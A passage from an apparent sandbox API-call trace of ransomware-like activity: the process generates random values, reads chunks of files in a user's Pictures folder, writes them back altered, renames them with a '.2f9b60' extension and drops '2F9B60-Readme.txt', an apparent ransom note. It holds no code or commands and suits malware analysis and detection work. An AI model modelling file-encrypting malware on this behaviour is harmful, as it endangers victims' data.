Seed=0x3296f870 | out: Seed=0x3296f870) returned 0x795c3035 [0155.967] RtlRandomEx (in: Seed=0x3296f870 | out: Seed=0x3296f870) returned 0x52c2bf52 [0155.967] RtlRandomEx (in: Seed=0x3296f870 | out: Seed=0x3296f870) returned 0xd58d6eb [0155.967] RtlRandomEx (in: Seed=0x3296f870 | out: Seed=0x3296f870) returned 0x1524dfbf [0155.967] RtlRandomEx (in: Seed=0x3296f870 | out: Seed=0x3296f870) returned 0x43dd49ff [0155.967] RtlRandomEx (in: Seed=0x3296f870 | out: Seed=0x3296f870) returned 0x6088c89d [0155.968] RtlRandomEx (in: Seed=0x3296f870 | out: Seed=0x3296f870) returned 0x1ee4823e [0155.968] RtlRandomEx (in: Seed=0x3296f870 | out: Seed=0x3296f870) returned 0x701f9c13 [0155.968] RtlRandomEx (in: Seed=0x3296f870 | out: Seed=0x3296f870) returned 0x68018d23 [0155.968] RtlRandomEx (in: Seed=0x3296f870 | out: Seed=0x3296f870) returned 0x4b48354b [0155.968] RtlRandomEx (in: Seed=0x3296f870 | out: Seed=0x3296f870) returned 0x76c1f2bf [0155.977] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddb960 [0155.978] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce245a0 [0155.978] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddb990 [0155.979] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce245a0) returned 1 [0155.979] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddb930) returned 1 [0155.979] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddb870) returned 1 [0155.979] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x429a9e90 [0155.979] SetFilePointerEx (in: hFile=0x1590, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.979] ReadFile (in: hFile=0x1590, lpBuffer=0x429a9e90, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3296f8e0, lpOverlapped=0x0 | out: lpBuffer=0x429a9e90*, lpNumberOfBytesRead=0x3296f8e0*=0x3c00, lpOverlapped=0x0) returned 1 [0155.980] SetFilePointerEx (in: hFile=0x1590, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.980] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce188c0 [0155.980] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce245a0 [0155.980] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddb870 [0155.980] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddb870) returned 1 [0155.981] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x429adaa0 [0155.981] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddb870 [0155.982] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddb930 [0155.982] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddb930) returned 1 [0155.982] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce245a0) returned 1 [0155.982] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce188c0) returned 1 [0155.982] WriteFile (in: hFile=0x1590, lpBuffer=0x429adaa0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3296f8e0, lpOverlapped=0x0 | out: lpBuffer=0x429adaa0*, lpNumberOfBytesWritten=0x3296f8e0*=0x3c00, lpOverlapped=0x0) returned 1 [0162.807] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x429adaa0) returned 1 [0162.807] SetFilePointerEx (in: hFile=0x1590, liDistanceToMove=0xb400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.807] ReadFile (in: hFile=0x1590, lpBuffer=0x429a9e90, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3296f8e0, lpOverlapped=0x0 | out: lpBuffer=0x429a9e90*, lpNumberOfBytesRead=0x3296f8e0*=0x3c00, lpOverlapped=0x0) returned 1 [0162.807] SetFilePointerEx (in: hFile=0x1590, liDistanceToMove=0xb400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.807] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42058920 [0162.808] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869640 [0162.808] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202611f0 [0162.809] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202611f0) returned 1 [0162.809] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x429adaa0 [0162.809] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202611f0 [0162.809] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260380 [0162.810] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260380) returned 1 [0162.810] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869640) returned 1 [0162.810] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058920) returned 1 [0162.811] WriteFile (in: hFile=0x1590, lpBuffer=0x429adaa0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3296f8e0, lpOverlapped=0x0 | out: lpBuffer=0x429adaa0*, lpNumberOfBytesWritten=0x3296f8e0*=0x3c00, lpOverlapped=0x0) returned 1 [0162.812] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x429adaa0) returned 1 [0162.812] SetFilePointerEx (in: hFile=0x1590, liDistanceToMove=0xfbb5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.812] ReadFile (in: hFile=0x1590, lpBuffer=0x429a9e90, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3296f8e0, lpOverlapped=0x0 | out: lpBuffer=0x429a9e90*, lpNumberOfBytesRead=0x3296f8e0*=0x3c00, lpOverlapped=0x0) returned 1 [0162.812] SetFilePointerEx (in: hFile=0x1590, liDistanceToMove=0xfbb5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.812] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42058920 [0162.812] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869640 [0162.813] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260380 [0162.813] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260380) returned 1 [0162.813] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x429adaa0 [0162.813] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260380 [0162.814] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202613d0 [0162.814] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202613d0) returned 1 [0162.814] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869640) returned 1 [0162.815] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058920) returned 1 [0162.815] WriteFile (in: hFile=0x1590, lpBuffer=0x429adaa0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3296f8e0, lpOverlapped=0x0 | out: lpBuffer=0x429adaa0*, lpNumberOfBytesWritten=0x3296f8e0*=0x3c00, lpOverlapped=0x0) returned 1 [0162.819] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x429adaa0) returned 1 [0162.819] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x1b86e1e0 [0162.820] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260380) returned 1 [0162.820] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202611f0) returned 1 [0162.821] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddb870) returned 1 [0162.821] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x429a9e90) returned 1 [0162.821] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x30) returned 0x1cd9e9f0 [0162.821] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42058920 [0162.821] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869640 [0162.822] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddb870 [0162.822] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddb870) returned 1 [0162.822] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x30) returned 0x1cd9ef30 [0162.822] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddb870 [0162.823] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c19770 [0162.823] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c19770) returned 1 [0162.823] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869640) returned 1 [0162.823] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058920) returned 1 [0162.824] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x154) returned 0x133ce0 [0162.824] SetFilePointerEx (in: hFile=0x1590, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0162.824] WriteFile (in: hFile=0x1590, lpBuffer=0x133ce0*, nNumberOfBytesToWrite=0x154, lpNumberOfBytesWritten=0x3296f990, lpOverlapped=0x0 | out: lpBuffer=0x133ce0*, lpNumberOfBytesWritten=0x3296f990*=0x154, lpOverlapped=0x0) returned 1 [0164.751] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x133ce0) returned 1 [0164.751] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9ef30) returned 1 [0164.767] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddb870) returned 1 [0164.768] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9e9f0) returned 1 [0164.768] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86e1e0) returned 1 [0164.769] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddb900) returned 1 [0164.769] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddb960) returned 1 [0164.769] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddb990) returned 1 [0164.769] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xbc) returned 0x118610 [0164.769] wcscpy (in: _Dest=0x118610, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\UmFg\\iQmSj-3N\\BFD-i74m_3aql.jpg" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\UmFg\\iQmSj-3N\\BFD-i74m_3aql.jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\UmFg\\iQmSj-3N\\BFD-i74m_3aql.jpg" [0164.769] wcscat (in: _Dest=0x118610, _Source=".2f9b60" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\UmFg\\iQmSj-3N\\BFD-i74m_3aql.jpg.2f9b60") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\UmFg\\iQmSj-3N\\BFD-i74m_3aql.jpg.2f9b60" [0164.769] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\UmFg\\iQmSj-3N\\BFD-i74m_3aql.jpg.2f9b60", NtPathName=0x3296f9b0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\UmFg\\iQmSj-3N\\BFD-i74m_3aql.jpg.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0164.769] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xda) returned 0x1b798e90 [0165.180] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b798e90) returned 1 [0165.180] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce1b800) returned 1 [0165.180] NtQueryInformationFile (in: FileHandle=0x1590, IoStatusBlock=0x3296fa18, FileInformation=0x3296fa28, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3296fa18, FileInformation=0x3296fa28) returned 0x0 [0165.180] NtSetInformationFile (FileHandle=0x1590, IoStatusBlock=0x3296fa18, FileInformation=0x3296fa28, Length=0x28, FileInformationClass=0x4) returned 0x0 [0165.201] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x118610) returned 1 [0165.201] FlushFileBuffers (hFile=0x1590) returned 1 [0166.269] CloseHandle (hObject=0x1590) returned 1 [0183.978] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb0) returned 0x202783b0 [0183.979] wcscpy (in: _Dest=0x202783b0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\UmFg\\iQmSj-3N\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\UmFg\\iQmSj-3N\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\UmFg\\iQmSj-3N\\" [0183.979] wcscat (in: _Dest=0x202783b0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\UmFg\\iQmSj-3N\\2F9B60-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\UmFg\\iQmSj-3N\\2F9B60-Readme.txt" [0183.979] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\UmFg\\iQmSj-3N\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\tmlaqdvmhm9kgh9\\umfg\\iqmsj-3n\\2f9b60-readme.txt")) returned 0xffffffff [0183.979] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\UmFg\\iQmSj-3N\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\tmlaqdvmhm9kgh9\\umfg\\iqmsj-3n\\2f9b60-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1be4 [0203.070] WriteFile (in: hFile=0x1be4, lpBuffer=0x1b82f9a0*, nNumberOfBytesToWrite=0xba9, lpNumberOfBytesWritten=0x3296f8d0, lpOverlapped=0x0 | out: lpBuffer=0x1b82f9a0*, lpNumberOfBytesWritten=0x3296f8d0*=0xba9, lpOverlapped=0x0) returned 1 [0207.818] CloseHandle (hObject=0x1be4) returned 1 [0208.338] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202783b0) returned 1 [0208.339] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x107600) returned 1 Thread: id = 2585 os_tid = 0x20d0 [0156.099] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\UmFg\\iQmSj-3N\\mwP259KVSO.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\tmlaqdvmhm9kgh9\\umfg\\iqmsj-3n\\mwp259kvso.gif")) returned 0x20 [0156.099] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\UmFg\\iQmSj-3N\\mwP259KVSO.gif", dwFileAttributes=0x20) returned 1 [0156.100] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\UmFg\\iQmSj-3N\\mwP259KVSO.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\tmlaqdvmhm9kgh9\\umfg\\iqmsj-3n\\mwp259kvso.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xeac [0156.101] GetFileSizeEx (in: hFile=0xeac, lpFileSize=0x3310f920 | out: lpFileSize=0x3310f920*=34976) returned 1 [0156.101] SetFilePointerEx (in: hFile=0xeac, liDistanceToMove=0x889c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.101] ReadFile (in: hFile=0xeac, lpBuffer=0x3310f8a0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3310f8e8, lpOverlapped=0x0 | out: lpBuffer=0x3310f8a0*, lpNumberOfBytesRead=0x3310f8e8*=0x4, lpOverlapped=0x0) returned 1 [0156.102] SetFilePointerEx (in: hFile=0xeac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.102] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddbcc0 [0156.102] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddbd80 [0156.102] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddbe10 [0156.102] NtQuerySystemTime (in: CurrentTime=0x3310f7e0 | out: CurrentTime=0x3310f7e0*=132462177612334000) returned 0x0 [0156.102] RtlRandomEx (in: Seed=0x3310f7d0 | out: Seed=0x3310f7d0) returned 0x274838b6 [0156.102] RtlRandomEx (in: Seed=0x3310f7d0 | out: Seed=0x3310f7d0) returned 0x7afb45f4 [0156.102] RtlRandomEx (in: Seed=0x3310f7d0 | out: Seed=0x3310f7d0) returned 0x533776b5 [0156.102] RtlRandomEx (in: Seed=0x3310f7d0 | out: Seed=0x3310f7d0) returned 0x18905936 [0156.103] RtlRandomEx (in: Seed=0x3310f7d0 | out: Seed=0x3310f7d0) returned 0x53e56e35 [0156.103] RtlRandomEx (in: Seed=0x3310f7d0 | out: Seed=0x3310f7d0) returned 0x1aa21e6a [0156.103] RtlRandomEx (in: Seed=0x3310f7d0 | out: Seed=0x3310f7d0) returned 0x2099dc4c [0156.103] RtlRandomEx (in: Seed=0x3310f7d0 | out: Seed=0x3310f7d0) returned 0x2e5bbd61 [0156.103] RtlRandomEx (in: Seed=0x3310f7d0 | out: Seed=0x3310f7d0) returned 0x7ce7c7a8 [0156.103] RtlRandomEx (in: Seed=0x3310f7d0 | out: Seed=0x3310f7d0) returned 0x68cca0ce [0156.103] RtlRandomEx (in: Seed=0x3310f7d0 | out: Seed=0x3310f7d0) returned 0x10662dab [0156.103] RtlRandomEx (in: Seed=0x3310f7d0 | out: Seed=0x3310f7d0) returned 0x3767cab7 [0156.103] RtlRandomEx (in: Seed=0x3310f7d0 | out: Seed=0x3310f7d0) returned 0x77a68571 [0156.103] RtlRandomEx (in: Seed=0x3310f7d0 | out: Seed=0x3310f7d0) returned 0x2c1bb335 [0156.103] RtlRandomEx (in: Seed=0x3310f7d0 | out: Seed=0x3310f7d0) returned 0x660d6603 [0156.103] RtlRandomEx (in: Seed=0x3310f7d0 | out: Seed=0x3310f7d0) returned 0x4acedefe [0156.103] RtlRandomEx (in: Seed=0x3310f7d0 | out: Seed=0x3310f7d0) returned 0x57895841 [0156.103] RtlRandomEx (in: Seed=0x3310f7d0 | out: Seed=0x3310f7d0) returned 0x3085df3f [0156.103] RtlRandomEx (in: Seed=0x3310f7d0 | out: Seed=0x3310f7d0) returned 0x66271d24 [0156.103] RtlRandomEx (in: Seed=0x3310f7d0 | out: Seed=0x3310f7d0) returned 0x3b105da4 [0156.103] RtlRandomEx (in: Seed=0x3310f7d0 | out: Seed=0x3310f7d0) returned 0x485b6474 [0156.103] RtlRandomEx (in: Seed=0x3310f7d0 | out: Seed=0x3310f7d0) returned 0x2f0cbee5 [0156.103] RtlRandomEx (in: Seed=0x3310f7d0 | out: Seed=0x3310f7d0) returned 0x7474f41c [0156.103] RtlRandomEx (in: Seed=0x3310f7d0 | out: Seed=0x3310f7d0) returned 0x2519ac79 [0156.103] RtlRandomEx (in: Seed=0x3310f7d0 | out: Seed=0x3310f7d0) returned 0x13ab2783 [0156.103] RtlRandomEx (in: Seed=0x3310f7d0 | out: Seed=0x3310f7d0) returned 0x70f0a8fd [0156.103] RtlRandomEx (in: Seed=0x3310f7d0 | out: Seed=0x3310f7d0) returned 0x4e1258ab [0156.103] RtlRandomEx (in: Seed=0x3310f7d0 | out: Seed=0x3310f7d0) returned 0x16964d4f [0156.103] RtlRandomEx (in: Seed=0x3310f7d0 | out: Seed=0x3310f7d0) returned 0x2e869621 [0156.103] RtlRandomEx (in: Seed=0x3310f7d0 | out: Seed=0x3310f7d0) returned 0x3a70cbcc [0156.103] RtlRandomEx (in: Seed=0x3310f7d0 | out: Seed=0x3310f7d0) returned 0x5cace2a6 [0156.103] RtlRandomEx (in: Seed=0x3310f7d0 | out: Seed=0x3310f7d0) returned 0x76960144 [0156.113] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddbe40 [0156.113] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce247a0 [0156.114] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddbe70 [0156.114] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce247a0) returned 1 [0156.114] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddbe10) returned 1 [0156.115] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddbcc0) returned 1 [0156.115] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x429dea60 [0156.115] SetFilePointerEx (in: hFile=0xeac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.115] ReadFile (in: hFile=0xeac, lpBuffer=0x429dea60, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3310f840, lpOverlapped=0x0 | out: lpBuffer=0x429dea60*, lpNumberOfBytesRead=0x3310f840*=0x3c00, lpOverlapped=0x0) returned 1 [0156.115] SetFilePointerEx (in: hFile=0xeac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.115] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce18a00 [0156.116] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce247a0 [0156.116] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddbcc0 [0156.116] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddbcc0) returned 1 [0156.116] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x429e2670 [0156.117] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddbcc0 [0156.117] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddbe10 [0156.117] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddbe10) returned 1 [0156.117] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce247a0) returned 1 [0156.118] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce18a00) returned 1 [0156.118] WriteFile (in: hFile=0xeac, lpBuffer=0x429e2670*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3310f840, lpOverlapped=0x0 | out: lpBuffer=0x429e2670*, lpNumberOfBytesWritten=0x3310f840*=0x3c00, lpOverlapped=0x0) returned 1 [0162.874] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x429e2670) returned 1 [0162.874] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x429dea60) returned 1 [0162.874] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2a) returned 0x1cd9edb0 [0162.875] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce18910 [0162.875] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce24620 [0162.876] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263920 [0162.876] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263920) returned 1 [0162.876] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2a) returned 0x1cd9ea30 [0162.876] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263920 [0162.877] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c19800 [0162.877] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c19800) returned 1 [0162.877] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce24620) returned 1 [0162.878] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce18910) returned 1 [0162.878] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10e) returned 0x42c15dd0 [0162.878] SetFilePointerEx (in: hFile=0xeac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0162.878] WriteFile (in: hFile=0xeac, lpBuffer=0x42c15dd0*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x3310f8f0, lpOverlapped=0x0 | out: lpBuffer=0x42c15dd0*, lpNumberOfBytesWritten=0x3310f8f0*=0x10e, lpOverlapped=0x0) returned 1 [0164.842] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce18690 [0164.842] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8696c0 [0164.842] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddbc90 [0164.843] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddbc90) returned 1 [0164.843] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1c) returned 0x1cddbc90 [0164.843] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddbc60 [0164.843] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddbba0 [0164.843] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddbba0) returned 1 [0164.844] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8696c0) returned 1 [0164.844] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce18690) returned 1 [0164.844] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x39) returned 0x1ce18690 [0164.844] sprintf (in: _Dest=0x1ce18690, _Format="%c%c" | out: _Dest="94") returned 2 [0164.844] sprintf (in: _Dest=0x1ce18692, _Format="%c%c" | out: _Dest="f0") returned 2 [0164.844] sprintf (in: _Dest=0x1ce18694, _Format="%c%c" | out: _Dest="ed") returned 2 [0164.844] sprintf (in: _Dest=0x1ce18696, _Format="%c%c" | out: _Dest="b8") returned 2 [0164.844] sprintf (in: 